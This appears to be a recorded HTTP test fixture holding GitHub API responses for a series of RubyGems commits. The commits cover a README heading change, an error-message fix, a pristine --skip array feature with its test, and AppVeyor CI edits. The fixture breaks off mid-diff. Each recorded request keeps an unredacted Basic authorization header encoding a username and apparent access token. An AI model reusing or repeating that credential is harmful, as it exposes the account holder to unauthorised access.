A166:4D95:F478DE:1C82D08:5A50E458 body: encoding: ASCII-8BIT string: '{"sha":"d133514a99ad8a984524a615ff2799db3a5512aa","commit":{"author":{"name":"Colby Swandale","email":"hello@colby.fyi","date":"2017-12-30T11:07:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-12-30T11:07:45Z"},"message":"titleize \"GETTING HELP\" in readme","tree":{"sha":"46b3c7e1792f56664034d44d1405b7a8a089aa5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/46b3c7e1792f56664034d44d1405b7a8a089aa5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d133514a99ad8a984524a615ff2799db3a5512aa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJaR3OBCRBK7hj4Ov3rIwAAdHIIAJXhDV1gbviDwcnnhZ9pGavb\noVrIElJD3loSA847d10j41usRi/xhVDBTxoO82LYmGuPbjdzqhgJg7/YI9xRxs0L\nLcugVQILvtXPVI430/HpUz+osWelXyaRsXug/WY3jheP6FfRPuqF1fiCMUz4Qgdp\naVZFn1t6Y0AMQoRAHkZHnbhhfzAs3nx2k0ZTvCDbNCU0PhBVEG7f1WuCcBYnNHBQ\njNsrnscYPoaVe1nwUDVAkggiwH/bHm4HPsPh0yhk9j5Q8yvlEOKls5jN7h/moBgI\nB4zjwlWlZx8BdRY/PlCS8HXbTJWiYd+Y/A+bJ+49RElt9nuHepKnEmLPw1Hb/jg=\n=NwEb\n-----END PGP SIGNATURE-----\n","payload":"tree 46b3c7e1792f56664034d44d1405b7a8a089aa5f\nparent 986179676fa57773ac6468adb8d36f98271734f6\nauthor Colby Swandale 1514632065 +1100\ncommitter GitHub 1514632065 +1100\n\ntitleize \"GETTING HELP\" in readme"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa","html_url":"https://github.com/rubygems/rubygems/commit/d133514a99ad8a984524a615ff2799db3a5512aa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"cd9130be0698d826381dee0d98740a264b10bfc2","filename":"README.md","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/d133514a99ad8a984524a615ff2799db3a5512aa/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/d133514a99ad8a984524a615ff2799db3a5512aa/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=d133514a99ad8a984524a615ff2799db3a5512aa","patch":"@@ -37,7 +37,7 @@ can be viewed online at http://www.rubydoc.info/github/rubygems/rubygems\n RubyGems also provides a comprehensive set of guides which covers numerous topics such as\n creating a new gem, security practices and other resources at http://guides.rubygems.org\n \n-## GETTING HELP\n+## Getting Help\n \n ### Support Requests\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4609' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2aa5b936334a8fa4e5622f68436b63c8" Last-Modified: - Fri, 29 Dec 2017 12:46:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036445' X-Github-Request-Id: - C438:4D94:4EFE09:B2FDC1:5A50E458 body: encoding: ASCII-8BIT string: '{"sha":"986179676fa57773ac6468adb8d36f98271734f6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:46:20Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:46:20Z"},"message":"Auto merge of #1884 - bobbytables:patch-1, r=hsbt\n\nFix undefined method error when printing alert\n\nIn the case a directory does not exist, this code would attempt to print an error but would fail because `directory` isn''t a defined method or variable.\n\n# Description:\n\nWhen attempting to generate an index for a directory that doesn''t exist, you''d get an exception like so:\n\n```\n$ gem generate_index --directory s3\nERROR: While executing gem ... (NameError)\n undefined local variable or method `directory'' for #\n```\n\nThis makes the error alerting use the options hash to print the name instead of just failing\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"2718d1f91691f011f0c75d51bd9bf54c1f1dd635","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2718d1f91691f011f0c75d51bd9bf54c1f1dd635"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/986179676fa57773ac6468adb8d36f98271734f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","html_url":"https://github.com/rubygems/rubygems/commit/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619"},{"sha":"2b169c3383c9febc95c6980a22c439eaf4d773da","url":"https://api.github.com/repos/rubygems/rubygems/commits/2b169c3383c9febc95c6980a22c439eaf4d773da","html_url":"https://github.com/rubygems/rubygems/commit/2b169c3383c9febc95c6980a22c439eaf4d773da"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0b677b73a9567b82f957842ede78a2877bbe4005","filename":"lib/rubygems/commands/generate_index_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/986179676fa57773ac6468adb8d36f98271734f6/lib/rubygems/commands/generate_index_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/986179676fa57773ac6468adb8d36f98271734f6/lib/rubygems/commands/generate_index_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/generate_index_command.rb?ref=986179676fa57773ac6468adb8d36f98271734f6","patch":"@@ -68,7 +68,7 @@ def execute\n \n if not File.exist?(options[:directory]) or\n not File.directory?(options[:directory]) then\n- alert_error \"unknown directory name #{directory}.\"\n+ alert_error \"unknown directory name #{options[:directory]}.\"\n terminate_interaction 1\n else\n indexer = Gem::Indexer.new options.delete(:directory), options"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4608' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f1164abee95cdc58bd7871064af78d1c" Last-Modified: - Fri, 29 Dec 2017 12:18:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038413' X-Github-Request-Id: - A16A:4D95:F478F1:1C82D26:5A50E458 body: encoding: ASCII-8BIT string: '{"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:18:15Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:18:15Z"},"message":"Auto merge of #1592 - hennevogel:master, r=hsbt\n\nSkipping more than one gem in pristine\n\n# Description:\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n\n---\n# Tasks:\n- [X] Describe the problem / feature\n- [X] Write tests\n- [X] Write code to solve the problem\n- [X] Get code review from coworkers / friends\n- [X] [Squash commits](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"99d971014c75cb5ab8a643f0b5e89262159d1875","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/99d971014c75cb5ab8a643f0b5e89262159d1875"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","html_url":"https://github.com/rubygems/rubygems/commit/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"514f1da96bbd3cbf88eb86117adc881ff89c79f5","url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","html_url":"https://github.com/rubygems/rubygems/commit/514f1da96bbd3cbf88eb86117adc881ff89c79f5"},{"sha":"18b940483b61a446d0bd7d9b449cb35781438e11","url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11","html_url":"https://github.com/rubygems/rubygems/commit/18b940483b61a446d0bd7d9b449cb35781438e11"}],"stats":{"total":37,"additions":32,"deletions":5},"files":[{"sha":"817e7522665f3c2984ea4787f180587ca2a4896e","filename":"lib/rubygems/commands/pristine_command.rb","status":"modified","additions":7,"deletions":4,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/lib/rubygems/commands/pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/lib/rubygems/commands/pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/pristine_command.rb?ref=7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","patch":"@@ -24,7 +24,8 @@ def initialize\n \n add_option(''--skip=gem_name'',\n ''used on --all, skip if name == gem_name'') do |value, options|\n- options[:skip] = value\n+ options[:skip] ||= []\n+ options[:skip] << value\n end\n \n add_option(''--[no-]extensions'',\n@@ -115,9 +116,11 @@ def execute\n next\n end\n \n- if spec.name == options[:skip]\n- say \"Skipped #{spec.full_name}, it was given through options\"\n- next\n+ if options.has_key? :skip\n+ if options[:skip].include? spec.name\n+ say \"Skipped #{spec.full_name}, it was given through options\"\n+ next\n+ end\n end\n \n if spec.bundled_gem_in_old_ruby?"},{"sha":"806ed87007b1506632da6f4a62640dd417260a3b","filename":"test/rubygems/test_gem_commands_pristine_command.rb","status":"modified","additions":25,"deletions":1,"changes":26,"blob_url":"https://github.com/rubygems/rubygems/blob/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/test/rubygems/test_gem_commands_pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/test/rubygems/test_gem_commands_pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_pristine_command.rb?ref=7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","patch":"@@ -253,6 +253,31 @@ def test_skip\n assert_empty out, out.inspect\n end\n \n+ def test_skip_many_gems\n+ a = util_spec ''a''\n+ b = util_spec ''b''\n+ c = util_spec ''c''\n+\n+ install_gem a\n+ install_gem b\n+ install_gem c\n+\n+ @cmd.options[:args] = %w[a b c]\n+ @cmd.options[:skip] = [''a'', ''c'']\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ out = @ui.output.split \"\\n\"\n+\n+ assert_equal \"Restoring gems to pristine condition...\", out.shift\n+ assert_equal \"Skipped #{a.full_name}, it was given through options\", out.shift\n+ assert_equal \"Restored #{b.full_name}\", out.shift\n+ assert_equal \"Skipped #{c.full_name}, it was given through options\", out.shift\n+ assert_empty out, out.inspect\n+ end\n+\n def test_execute_many_multi_repo\n a = util_spec ''a''\n install_gem a\n@@ -488,4 +513,3 @@ def test_handle_options_extensions\n end\n \n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4607' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2ea88bc90b56193298649c0a1f5c985d" Last-Modified: - Wed, 27 Dec 2017 08:31:57 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048199' X-Github-Request-Id: - A16C:4D97:903452:1C46B31:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"514f1da96bbd3cbf88eb86117adc881ff89c79f5","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-27T08:31:57Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-27T08:31:57Z"},"message":"Auto merge of #2122 - MSP-Greg:appveyor_new_rake, r=hsbt\n\nUpdate appveyor.yml, add new rakefile for appveyor testing\n\n# Description:\n\nUpdate Appveyor CI to use a simplified Rakefile, quickens testing, etc. Also, uses minitest currently loaded in respective Appveyor builds.\n______________\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"3f5870703e5ce99bb8f6d05f8de43dcb5100792a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3f5870703e5ce99bb8f6d05f8de43dcb5100792a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5","html_url":"https://github.com/rubygems/rubygems/commit/514f1da96bbd3cbf88eb86117adc881ff89c79f5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/514f1da96bbd3cbf88eb86117adc881ff89c79f5/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b25411fc1012c89fd1c409c7e5cc867b85247c29","url":"https://api.github.com/repos/rubygems/rubygems/commits/b25411fc1012c89fd1c409c7e5cc867b85247c29","html_url":"https://github.com/rubygems/rubygems/commit/b25411fc1012c89fd1c409c7e5cc867b85247c29"},{"sha":"4ced51dd8753307deda1dda71dd2f77cb9ef02ee","url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","html_url":"https://github.com/rubygems/rubygems/commit/4ced51dd8753307deda1dda71dd2f77cb9ef02ee"}],"stats":{"total":219,"additions":120,"deletions":99},"files":[{"sha":"5538164263df0c74c18ecfdbf699942018029cfd","filename":"Rakefile","status":"modified","additions":22,"deletions":0,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -13,6 +13,28 @@ rescue ::LoadError\n require ''yaml''\n end\n \n+if Gem.win_platform?\n+ # For ruby < 2.0, minitest files need to copied into repo lib folder\n+ if RUBY_VERSION <= ''1.9.3''\n+ dest = File.dirname(__FILE__).gsub(/\\//, \"\\\\\")\n+ src_dir = Dir.glob(\"#{Gem.default_dir}/gems/minitest-*\").sort\n+ if src_dir.last\n+ src = src_dir.last.gsub(/\\//, \"\\\\\")\n+ `md #{dest}\\\\lib\\\\minitest`\n+ `copy #{src}\\\\lib\\\\minitest.rb #{dest}\\\\lib`\n+ `copy #{src}\\\\lib\\\\minitest\\\\*.* #{dest}\\\\lib\\\\minitest`\n+ end\n+ end\n+\n+ require \"rake/testtask\"\n+\n+ desc \"Runs tests without hoe, typically used with windows\"\n+ Rake::TestTask.new(:test_no_hoe) do |t|\n+ t.libs << \"test\"\n+ t.test_files = FileList[''test/**/test_*.rb'']\n+ end\n+end\n+\n begin\n require ''hoe''\n rescue Gem::ConflictError => e"},{"sha":"9a8044306b140f1735bcb3149416065a22b80f7b","filename":"appveyor.yml","status":"modified","additions":19,"deletions":30,"changes":49,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -7,15 +7,7 @@ branches:\n skip_tags: true\n clone_depth: 10\n \n-init:\n- - mklink /d C:\\git \"C:\\Program Files\\Git\"\n- - if %ruby_version%==_trunk (\n- appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n- 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n-\n environment:\n- PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n- WINDIR: C:\\Windows\n matrix:\n - ruby_version: 193\n - ruby_version: 200\n@@ -24,45 +16,42 @@ environment:\n - ruby_version: 21-x64\n - ruby_version: 22\n - ruby_version: 22-x64\n+ GIT: C:/git/cmd/git.exe\n - ruby_version: 23-x64\n GIT: C:/git/cmd/git.exe\n - ruby_version: 24-x64\n GIT: C:/git/cmd/git.exe\n - ruby_version: _trunk\n GIT: C:/git/cmd/git.exe\n \n-matrix:\n- allow_failures:\n- - ruby_version: _trunk\n+init:\n+ - set PATH=C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n+ - set RUBYOPT=--disable-gems\n+ - mklink /d C:\\git \"C:\\Program Files\\Git\"\n+ - if %ruby_version%==_trunk (\n+ appveyor DownloadFile https://ci.appveyor.com/api/projects/MSP-Greg/ruby-loco/artifacts/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk )\n \n install:\n+- if %ruby_version%==193 ( gem update minitest --no-document )\n - ps: >-\n git submodule update --init --recursive\n \n- $env:path = ''C:\\Ruby'' + $env:ruby_version + ''\\bin;'' + $env:path\n+ if ((gem query -i minitest) -eq $False){ gem install minitest --no-document }\n \n- if ((gem query -i rake) -eq $False){ gem install rake --no-document }\n+ if ((gem query -i rake) -eq $False){ gem install rake --no-document }\n \n- if ((gem query -i hoe) -eq $False){ gem install hoe --no-document }\n+ if ((gem query -i hoe) -eq $False){ gem install hoe --no-document }\n \n- gem install minitest -v \"~> 4.7\" --no-document\n+test_script:\n+ - rake -rdevkit test_no_hoe\n \n- ruby -v\n+on_finish:\n+ - ruby -v\n \n-cache:\n-- C:\\Ruby193\\lib\\ruby\\gems\\1.9.1\n-- C:\\Ruby200\\lib\\ruby\\gems\\2.0.0\n-- 